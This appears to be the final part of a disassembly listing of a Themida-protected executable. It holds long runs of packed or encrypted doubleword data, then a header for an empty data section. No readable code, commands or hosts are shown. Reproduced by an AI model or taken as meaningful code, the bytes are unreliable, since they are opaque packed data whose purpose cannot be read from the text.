8EBF973h dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh, 66CFBF0Fh, 0BE9F88Bh dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h, 0BE96ED1h dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h, 0C38A3BB4h dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h dd 8E91Bh, 5CFB0000h, 7E2E410h, 0D281D2F2h, 6031BDAAh dd 68D0F60h, 81000000h, 0CE1F2BC2h, 0C9816628h, 816173F3h dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh, 0A2000000h dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h, 0A47804D5h dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh, 537B966Dh dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h, 0DEBF0FD8h dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h dd 0FB8BFCCEh, 0F75F580h, 28Ch, 0BFD98B00h, 0E956E5Ch dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h dd 66C935Bh, 6666549Ch, 8A58C28Bh, 0CCE81F3h, 0BB3569CFh dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh, 0BE979h dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h, 5D04D7Ah dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh dd 0F60049Eh, 382h, 0C38B6600h, 0CA98BA66h, 0CE961h, 7C230000h dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h, 4B6A8AE7h dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h, 1DCF310Ah dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah, 8, 0FE15DCA4h dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah dd 1D149AA7h, 1F2D54B9h, 0FE8h, 9F7AF400h, 4C2A5271h, 7B33BADBh dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h dd 8B000000h dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h dd 10E93Dh, 0B3870000h, 0C867CE04h, 8179B86Eh, 33B47A03h dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh dd 860F9CB5h, 0 dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h dd 750E44Eh, 5F5A4EF0h, 90BE665Ah, 66C78A2Bh, 3889DE81h dd 5CC0DE80h, 66665471h, 9D58C28Bh, 88F5FD6Bh, 2FD4C877h dd 0B5F86E8Dh, 1BBBFC6Fh, 68C28200h, 1D9C665Ah, 0CDFFE680h dd 296A4FBEh, 7022E979h, 5E6667D8h, 0AAC6ACDAh, 655D3937h dd 0F511E8B4h, 97F08B09h, 0E42CF8AFh, 0A3F8CB9Fh, 58DE860h dd 0B75833B5h, 5D04D7Ah, 0E9615856h, 0EE8h, 0AB009F03h dd 9033A958h, 5E1BB9C4h, 820F4004h, 5FF18B66h, 7D7951B8h dd 8C0F6021h, 0F06h, 0F4FEAF00h, 4BBE09A8h, 61423264h dd 0D6209BEh, 0C68BF85Ah, 1DFF800Fh, 0FBC1815Fh, 0BBEA7DC6h dd 42D17A9Ch, 0FC50FB5h, 84B06144h, 13070E8Ah, 0F25833B5h dd 0D9816562h, 0DA66624Dh, 9E13722h, 25h dup(9E30372h) dd 42E30372h, 41479526h, 4147953Fh, 112h dup(41479526h) dd 21D9F626h, 4147959Fh, 31h dup(41479526h), 4147953Fh dd 12h dup(41479526h), 56DB9526h, 414795A2h, 0FBh dup(41479526h) dd 418AAF8Ch, 3A4h dup(41479526h), 0CE1E9526h, 2BBh dup(0CE1E2465h) dd 0AF1E2465h, 100h dup(0B0710B37h), 558A0B37h, 137h dup(558AD2BFh) dd 0BFh, 0CB9h dup(0) Themida_ ends ; Section 5. (virtual address 001BD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BD000h align 2000h _idata2 ends end start